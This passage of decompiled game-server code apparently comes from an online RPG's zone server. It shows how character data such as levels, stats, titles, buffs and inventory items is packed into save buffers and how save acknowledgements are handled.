-------------------------------------------------------- int __stdcall ShineObjectClass::ShineObject::so_SaveAbstate(int buffer, int charid) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_SaveAbstate", 0); return 0; } //----- (00439530) -------------------------------------------------------- char __stdcall ShineObjectClass::ShineObject::so_SaveItem_Part(int nc, int buf) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_SaveItem_Part", 0); return 0; } //----- (00439550) -------------------------------------------------------- int __stdcall ShineObjectClass::ShineObject::so_SaveItem(int buf) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_SaveItem", 0); return 0; } //----- (00439570) -------------------------------------------------------- int __stdcall ShineObjectClass::ShineObject::so_SaveSkill(int buffer, int SkillSaveCheck) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_SaveSkill", 0); return 0; } //----- (00439590) -------------------------------------------------------- #error "439590: undefined or illegal type '#440' (funcsize=87)" //----- (004396F0) -------------------------------------------------------- #error "4396F0: undefined or illegal type '#440' (funcsize=319)" //----- (00439B40) -------------------------------------------------------- int __thiscall PROTO_NC_CHARSAVE_ALL_REQ::operator_(int this, int a2) { int result; // eax@1 result = this; *(_DWORD *)this = *(_DWORD *)a2; *(_WORD *)(this + 4) = *(_WORD *)(a2 + 4); *(_DWORD *)(this + 6) = *(_DWORD *)(a2 + 6); *(_DWORD *)(this + 10) = *(_DWORD *)(a2 + 10); *(_DWORD *)(this + 14) = *(_DWORD *)(a2 + 14); *(_DWORD *)(this + 18) = *(_DWORD *)(a2 + 18); *(_BYTE *)(this + 22) = *(_BYTE *)(a2 + 22); *(_DWORD *)(this + 23) = *(_DWORD *)(a2 + 23); *(_DWORD *)(this + 27) = *(_DWORD *)(a2 + 27); *(_DWORD *)(this + 31) = *(_DWORD *)(a2 + 31); *(_DWORD *)(this + 35) = *(_DWORD *)(a2 + 35); *(_DWORD *)(this + 39) = *(_DWORD *)(a2 + 39); *(_DWORD *)(this + 43) = *(_DWORD *)(a2 + 43); *(_DWORD *)(this + 47) = *(_DWORD *)(a2 + 47); *(_DWORD *)(this + 51) = *(_DWORD *)(a2 + 51); *(_DWORD *)(this + 55) = *(_DWORD *)(a2 + 55); *(_DWORD *)(this + 59) = *(_DWORD *)(a2 + 59); *(_DWORD *)(this + 63) = *(_DWORD *)(a2 + 63); *(_DWORD *)(this + 67) = *(_DWORD *)(a2 + 67); memcpy((void *)(this + 71), (const void *)(a2 + 71), 0x22u); return result; } //----- (00439BE0) -------------------------------------------------------- void __thiscall WholeSaver::ws_saveassure(WholeSaver *this) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "WholeSaver::ws_saveassure"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WholeSaver::ws_saveassure"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "WholeSaver::ws_saveassure"); } //----- (00439C20) -------------------------------------------------------- void __thiscall EventSaveCheck::erb_happen(EventSaveCheck *this) { EventSaveCheck *v1; // esi@1 int v2; // eax@1 _iobuf *v3; // edi@2 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "EventSaveCheck::erb_happen"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "EventSaveCheck::erb_happen"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = v1->esc_savebuffer.handle.chrregnum; if ( v2 != -1 ) { AssertClass::ac_AssertFail(&shineassert, "EventSaveCheck::erb_happen : Error in Character save", v2); v3 = fopen("NotSaved.bin", "wb"); fwrite(&v1->esc_savebuffer, 0x69u, 1u, v3); fclose(v3); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "EventSaveCheck::erb_happen"); } //----- (00439D00) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShinePlayer::so_SaveMisc2WMS(void *this, int buffer) { void *v2; // esi@1 int v3; // edx@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveMisc2WMS"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_SaveMisc2WMS"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_DWORD *)(buffer + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1056))(v2); *(_DWORD *)(buffer + 6) = v3; *(_DWORD *)(buffer + 10) = *((_DWORD *)v2 + 8026); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveMisc2WMS"); return 14; } //----- (00439DB0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_SaveCharTitle(void *this, int buf) { void *v2; // esi@1 int v3; // ebp@1 int v4; // eax@1 int v5; // ecx@4 int v6; // esi@5 int v7; // edi@5 char v8; // cl@6 int v9; // esi@9 int v11; // [sp+10h] [bp-14h]@4 int bufa; // [sp+28h] [bp+4h]@4 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveCharTitle"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_SaveCharTitle"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1036))(v2); v4 = buf; *(_BYTE *)buf = 1; *(_BYTE *)(buf + 1) = *(_BYTE *)(v3 + 548); *(_WORD *)(buf + 3) = *(_WORD *)(v3 + 550); if ( *(_BYTE *)(v3 + 548) == 10 ) *(_BYTE *)(buf + 2) = 0; else *(_BYTE *)(buf + 2) = *(_BYTE *)(v3 + 549); memcpy((void *)(buf + 5), (const void *)(v3 + 560), 0x1E0u); *(_WORD *)(buf + 485) = *(_WORD *)(v3 + 64); v5 = *(_DWORD *)(v3 + 64); v11 = *(_DWORD *)(v3 + 64); bufa = 0; if ( v5 > 0 ) { v6 = v4 + 488; v7 = v3 + 69; do { v8 = *(_BYTE *)v6; *(_BYTE *)(v6 - 1) = *(_BYTE *)(v7 - 1); *(_BYTE *)v6 ^= (*(_BYTE *)v7 ^ v8) & 0x3F; *(_BYTE *)v6 = ((unsigned __int8)CCharacterTitle::GetTitleStatus( (CCharacterTitle *)v3, *(_BYTE *)(v6 - 1), *(_BYTE *)v6 & 0x3F) << 6) | *(_BYTE *)v6 & 0x3F; if ( (unsigned int)(420 - v3 + v7) > 0x1F40 ) break; v7 += 2; v6 += 2; ++bufa; } while ( bufa < *(_DWORD *)(v3 + 64) ); v5 = v11; } v9 = 2 * v5 + 487; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveCharTitle"); return v9; } //----- (00439F20) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShinePlayer::so_ply_SavePKCount(void *this, int buf) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_SavePKCount"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_SavePKCount"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_DWORD *)buf = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *(_DWORD *)(buf + 4) = *((_DWORD *)v2 + 8036); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_SavePKCount"); return 8; } //----- (00439FD0) -------------------------------------------------------- #error "439FD0: undefined or illegal type '#331' (funcsize=307)" //----- (0043A3E0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_SaveChestInfo(void *this, int buf) { void *v2; // ebp@1 signed int v3; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveChestInfo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_SaveChestInfo"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; *(_WORD *)(buf + 6) = 0; if ( *(_DWORD *)((char *)v2 + 89170) ) { do { if ( (unsigned __int8)(1 << v3 % 8) & *(_BYTE *)(v3 / 8 + *(_DWORD *)((char *)v2 + 89166)) ) { *(_WORD *)(buf + 2 * (*(_WORD *)(buf + 6))++ + 8) = v3; if ( 2 * (unsigned int)*(_WORD *)(buf + 6) + 10 > 0x1F40 ) break; } ++v3; } while ( (unsigned int)v3 < *(_DWORD *)((char *)v2 + 89170) ); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveChestInfo"); return 0; } //----- (0043A4D0) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShinePlayer::so_SaveLevel(void *this, int buf) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveLevel"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_SaveLevel"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_DWORD *)buf = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *(_BYTE *)(buf + 4) = *((_BYTE *)v2 + 32079); *(_DWORD *)(buf + 5) = *((_DWORD *)v2 + 8020); *(_DWORD *)(buf + 9) = *((_DWORD *)v2 + 8021); *(_DWORD *)(buf + 13) = *((_DWORD *)v2 + 8026); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveLevel"); return 17; } //----- (0043A5A0) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShinePlayer::so_SaveStat(void *this, int buf) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveStat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_SaveStat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_DWORD *)buf = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *(_DWORD *)(buf + 4) = *((_WORD *)v2 + 16044); *(_DWORD *)(buf + 8) = *((_WORD *)v2 + 16045); *(_DWORD *)(buf + 12) = *((_WORD *)v2 + 16046); *(_DWORD *)(buf + 16) = *((_WORD *)v2 + 16047); *(_DWORD *)(buf + 20) = *((_DWORD *)v2 + 8024); *(_DWORD *)(buf + 24) = *((_DWORD *)v2 + 8025); v2 = (char *)v2 + 32137; *(_DWORD *)(buf + 28) = *(_DWORD *)v2; *(_WORD *)(buf + 32) = *((_WORD *)v2 + 2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveStat"); return 34; } //----- (0043A6A0) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShinePlayer::so_SaveGameData(void *this, int buf) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveGameData"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_SaveGameData"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (char *)v2 + 32168; *(_WORD *)buf = *(_WORD *)v2; *(_BYTE *)(buf + 2) = *((_BYTE *)v2 + 2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveGameData"); return 3; } //----- (0043A710) -------------------------------------------------------- char __thiscall AbnormalStateSaver::lid_Call(AbnormalStateSaver *this, AbnormalStateContainer::AbstateElementInObject *ele, unsigned __int16 handle) { AbnormalStateSaver *v3; // esi@1 int v4; // eax@1 int v5; // eax@2 int v7; // eax@9 int v8; // eax@18 const char *v9; // [sp-8h] [bp-24h]@5 int v10; // [sp-4h] [bp-20h]@5 FunctionEntarance _; // [sp+Ch] [bp-10h]@1 int v12; // [sp+18h] [bp-4h]@1 v3 = this; _.fe_FunctionCode = "AbnormalStateSaver::lid_Call"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AbnormalStateSaver::lid_Call"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateSaver::lid_Call"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = ele->aeo_Index; v12 = 0; if ( v4 < 391 ) { v5 = dword_608008[v4]; } else { AssertClass::ac_AssertFail(&shineassert, "AbnormalStateDictionary::AbState::as_FromIndex : Invalid skill idx", v4); v5 = 0; } if ( !v5 ) { v10 = handle; v9 = "AbnormalStateSaver::lid_Call : Null Abstate"; LABEL_6: AssertClass::ac_AssertFail(&shineassert, v9, v10); LABEL_7: --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AbnormalStateSaver::lid_Call"); return 1; } v7 = *(_DWORD *)v5; if ( !v7 || !*(_BYTE *)(v7 + 252) ) goto LABEL_7; if ( *(_WORD *)v7 == -1 ) { v10 = handle; v9 = "AbnormalStateSaver::lid_Call : Invalid ABState"; goto LABEL_6; } *(unsigned __int16 *)((char *)&v3->ass_buffer[1].handle.bufferlocation + 31 * v3->ass_buffer->abstatenum) = *(_WORD *)v7; *((_BYTE *)&v3->ass_buffer[1].handle.chrregnum + 31 * v3->ass_buffer->abstatenum) = ele->aeo_Strength; *(_WORD *)((char *)&v3->ass_buffer[2].handle.chrregnum + 31 * v3->ass_buffer->abstatenum + 1) = ele->aeo_RestCount; *(_WORD *)((char *)&v3->ass_buffer[2].handle.chrregnum + 31 * v3->ass_buffer->abstatenum + 3) = 0; *(unsigned int *)((char *)&v3->ass_buffer[1].handle.chrregnum + 31 * v3->ass_buffer->abstatenum + 1) = 1000 * (clockwatch.cw_CurrTick - ele->aeo_Tick.start) / 0xA; if ( AbnormalStateContainer::AbstateElementInObject::aeo_GetAbstateElement(ele) ) *(_DWORD *)((char *)&v3->ass_buffer[1].abstatenum + 31 * v3->ass_buffer->abstatenum + 1) = AbnormalStateContainer::AbstateElementInObject::aeo_GetRestTime(ele); else *(_DWORD *)((char *)&v3->ass_buffer[1].abstatenum + 31 * v3->ass_buffer->abstatenum + 1) = 0; SetItemData::SetItemAbstateEffect::siae_FillSetItemEffect( &ele->aeo_SetItemEffect, (ABSTATEREADBLOCK *)&v3->ass_buffer[1] + v3->ass_buffer->abstatenum); if ( v3->ass_CharID ) NameString::operator__(&namestring, v3->ass_CharID); ++v3->ass_buffer->abstatenum; v8 = 31 * v3->ass_buffer->abstatenum + 39; v12 = -1; if ( (unsigned int)v8 <= 0x1F40 ) { FunctionEntarance::_FunctionEntarance(&_); return 1; } FunctionEntarance::_FunctionEntarance(&_); return 0; } //----- (0043A930) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_SaveAbstate(void *this, int buffer, int charid) { void *v3; // edi@1 unsigned __int16 v4; // si@1 int v5; // esi@2 int (__stdcall **ass)(int, __int16); // [sp+Ch] [bp-18h]@1 int v8; // [sp+10h] [bp-14h]@1 int v9; // [sp+14h] [bp-10h]@1 int v10; // [sp+20h] [bp-4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveAbstate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_SaveAbstate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ass = &AbnormalStateSaver::_vftable_; v8 = buffer; *(_WORD *)(buffer + 6) = 0; v10 = 0; v9 = charid; LOBYTE(v10) = 1; List::l_4AllInList((List *)((char *)v3 + 3684), (ListIteratorDefault *)&ass); v4 = *(_WORD *)(buffer + 6); if ( v4 ) v5 = 31 * v4 + 8; else v5 = 0; --funcallanalizer.fca_stackpoint; ass = &ListIteratorDefault::_vftable_; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveAbstate"); return v5; } // 5A05CC: using guessed type int (__stdcall *AbnormalStateSaver___vftable_)(int ele, __int16 handle); // 5D4CA8: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (0043AA20) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_SaveItem(void *this, int buf) { void *v2; // esi@1 int v3; // eax@1 int v4; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveItem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_SaveItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_BYTE *)buf = 0; v3 = CharacterInventory::ci_FillBufferTotal( (CharacterInventory *)((char *)v2 + 32200), (char *)buf, (PROTO_ITEMPACKET_TOTAL *)(buf + 1)); --funcallanalizer.fca_stackpoint; v4 = v3; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveItem"); return v4; } //----- (0043AAD0) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_CHARSAVE_ALL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "GameDBSession::gds_NC_CHARSAVE_ALL_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::gds_NC_CHARSAVE_ALL_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "WholeSaver::ws_successall"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WholeSaver::ws_successall"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "WholeSaver::ws_successall"); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "GameDBSession::gds_NC_CHARSAVE_ALL_ACK"); } //----- (0043ABA0) -------------------------------------------------------- void __thiscall GameDBSession::NC_CHARSAVE_QUEST_DOING_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GameDBSession::NC_CHARSAVE_QUEST_DOING_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::NC_CHARSAVE_QUEST_DOING_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "WholeSaver::ws_successquest"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WholeSaver::ws_successquest"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "WholeSaver::ws_successquest"); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "GameDBSession::NC_CHARSAVE_QUEST_DOING_ACK"); } //----- (0043AC70) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_CHARSAVE_ABSTATE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GameDBSession::gds_NC_CHARSAVE_ABSTATE_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::gds_NC_CHARSAVE_ABSTATE_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "WholeSaver::ws_successabstate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WholeSaver::ws_successabstate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "WholeSaver::ws_successabstate"); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "GameDBSession::gds_NC_CHARSAVE_ABSTATE_ACK"); } //----- (0043AD40) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_CHARSAVE_SKILL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "GameDBSession::gds_NC_CHARSAVE_SKILL_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::gds_NC_CHARSAVE_SKILL_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "WholeSaver::ws_successskill"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WholeSaver::ws_successskill"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "WholeSaver::ws_successskill"); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "GameDBSession::gds_NC_CHARSAVE_SKILL_ACK"); } //----- (0043AE10) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_CHARSAVE_REST_EXP_LAST_EXEC_TIME_SAVE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GameDBSession::gds_NC_CHARSAVE_REST_EXP_LAST_EXEC_TIME_SAVE_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::gds_NC_CHARSAVE_REST_EXP_LAST_EXEC_TIME_SAVE_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "WholeSaver::ws_successskill"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WholeSaver::ws_successskill"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "WholeSaver::ws_successskill"); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GameDBSession::gds_NC_CHARSAVE_REST_EXP_LAST_EXEC_TIME_SAVE_ACK"); } //----- (0043AEE0) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_CHARSAVE_AUTO_PICK_SAVE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GameDBSession::gds_NC_CHARSAVE_AUTO_PICK_SAVE_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::gds_NC_CHARSAVE_AUTO_PICK_SAVE_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GameDBSession::gds_NC_CHARSAVE_AUTO_PICK_SAVE_ACK"); } //----- (0043AF30) -------------------------------------------------------- int __thiscall ItemSmallBag::isb_FullBufferItem2Server(ItemSmallBag *this, char *itemcounter, PROTO_ITEMPACKET_TOTAL *itmarr, int box, int *from, int bufsize) { PROTO_ITEMPACKET_TOTAL *v6; // esi@1 ItemSmallBag *v7; // ebp@1 int v8; // edi@1 ItemInform_ActionItem *v9; // eax@2 ItemInform_ActionItem *v10; // ebx@2 char v11; // al@8 int result; // eax@10 int skipednumber; // [sp+Ch] [bp-84h]@1 int slot; // [sp+10h] [bp-80h]@1 ItemAttributeClass *iac; // [sp+14h] [bp-7Ch]@4 unsigned __int16 itemid; // [sp+18h] [bp-78h]@3 ItemTotalInformation iti; // [sp+1Ch] [bp-74h]@8 v6 = itmarr; v7 = this; *itemcounter = 0; v8 = 0; skipednumber = 0; slot = 0; if ( ((int (*)(void))this->vfptr->isb_BagSizeOutput)() <= 0 ) { result = 0; } else { do { v9 = (ItemInform_ActionItem *)v7->vfptr->isb_GetInventoryCell(v7, slot); v10 = v9; if ( v9 ) { itemid = ItemInventoryCell::iic_ItemIdent(v9); if ( itemid != -1 ) { iac = (ItemAttributeClass *)&itmattcontainer; if ( *(_DWORD *)&v10[1].iiai_RegistNumber.binary.gap0[2] ) iac = *(ItemAttributeClass **)&v10[1].iiai_RegistNumber.binary.gap0[2]; if ( skipednumber >= *from ) { skipednumber = v7->vfptr->isb_BagSizeOutput(v7); ItemInform_ActionItem::sii_Export(v10, &iti); v6->location.Inven = ((_WORD)box << 10) ^ slot & 0x3FF; v11 = (char)&ItemTotalInformation::iti_fill2buffer_whole( &iti, iac, itemid, v6->info.iti_registnum.binary.gap0)[2 - ((_BYTE)v6 + 3)]; v6->datasize = v11; v6 = (PROTO_ITEMPACKET_TOTAL *)((char *)v6 + (unsigned __int8)v11 + 1); ++*itemcounter; v8 = (char *)v6 - (char *)itmarr; ++*from; if ( (signed int)((char *)v6 - (char *)itmarr) >= bufsize ) break; } else { ++skipednumber; } } } ++slot; } while ( slot < v7->vfptr->isb_BagSizeOutput(v7) ); result = v8; } return result; } //----- (0043B0A0) -------------------------------------------------------- int __thiscall ItemSmallBag::isb_ItemCount_Output(ItemSmallBag *this) { ItemSmallBag *v1; // esi@1 int v2; // ebx@1 int v3; // edi@1 ItemInform_ActionItem *v4; // eax@2 v1 = this; v2 = 0; v3 = 0; if ( ((int (*)(void))this->vfptr->isb_BagSizeOutput)() > 0 ) { do { v4 = (ItemInform_ActionItem *)v1->vfptr->isb_GetInventoryCell(v1, v3); if ( v4 && ItemInventoryCell::iic_ItemIdent(v4) != -1 ) ++v2; ++v3; } while ( v3 < v1->vfptr->isb_BagSizeOutput(v1) ); } return v2; } //----- (0043B0E0) -------------------------------------------------------- void __thiscall WholeSaver::_WholeSaver(WholeSaver *this) { *(unsigned int *)((char *)&this->ws_savestorepoint.value + (_DWORD)((char *)&wholesaver + 153959496)) = (unsigned int)&EventReserveBase::_vftable_; _eh_vector_destructor_iterator_( this->ws_savestore, 0x13520u, 2048, (void (__thiscall *)(void *))KingdomQuestGate::KingdomQuestGateKeeper::_KingdomQuestGateKeeper); } // 5A009C: using guessed type int (*EventReserveBase___vftable_)(); //----- (0043B110) -------------------------------------------------------- #error "43B110: undefined or illegal type '#331' (funcsize=400)" //----- (0043B690) -------------------------------------------------------- void __thiscall EventSaveCheck::EventSaveCheck(EventSaveCheck *this) { this->baseclass_0.vfptr = (EventReserveBaseVtbl *)&EventSaveCheck::_vftable_; *(_QWORD *)&this->esc_savebuffer.location.map.n3_name[4] = 0i64; *(_DWORD *)&this->esc_savebuffer.location.map.n3_name[0] = 0; *(_QWORD *)&this->esc_savebuffer.location.map_kq.n3_name[4] = 0i64; *(_DWORD *)&this->esc_savebuffer.location.map_kq.n3_name[0] = 0; this->esc_abstate.pnt = (PROTO_NC_CHARSAVE_ABSTATE_REQ *)&this->esc_abstate; *(_DWORD *)&this->gapf2b8[16996] = (char *)this + 31124; } // 5A0848: using guessed type int (*EventSaveCheck___vftable_)(); //----- (0043B6D0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_SaveItem_Part(void *this, int nc, int buf) { void *v3; // ebx@1 int v4; // esi@1 int v5; // edi@1 int v6; // eax@2 int v7; // ebp@5 ZoneBaseSession *v8; // eax@7 int v9; // eax@10 int v10; // ebp@13 DebugLogging *v11; // eax@15 ZoneBaseSession *v12; // eax@16 int v13; // ecx@17 int v14; // eax@19 int v15; // ebp@22 ZoneBaseSession *v16; // eax@25 ItemSmallBag *v17; // ebx@27 int v18; // eax@28 int v19; // ebp@31 DebugLogging *v20; // eax@34 ZoneBaseSession *v22; // eax@35 DebugLogging *v23; // eax@38 char *v24; // [sp-8h] [bp-30h]@24 DebugLineFeed *v25; // [sp-4h] [bp-2Ch]@24 int from; // [sp+10h] [bp-18h]@1 void *v27; // [sp+14h] [bp-14h]@1 FunctionEntarance _; // [sp+18h] [bp-10h]@1 int v29; // [sp+24h] [bp-4h]@1 int bufa; // [sp+30h] [bp+8h]@1 int bufb; // [sp+30h] [bp+8h]@9 int bufc; // [sp+30h] [bp+8h]@18 int bufd; // [sp+30h] [bp+8h]@27 v3 = this; v27 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_SaveItem_Part"; FunctionProfiler::PerformanceRecorder::pr_Entrance( 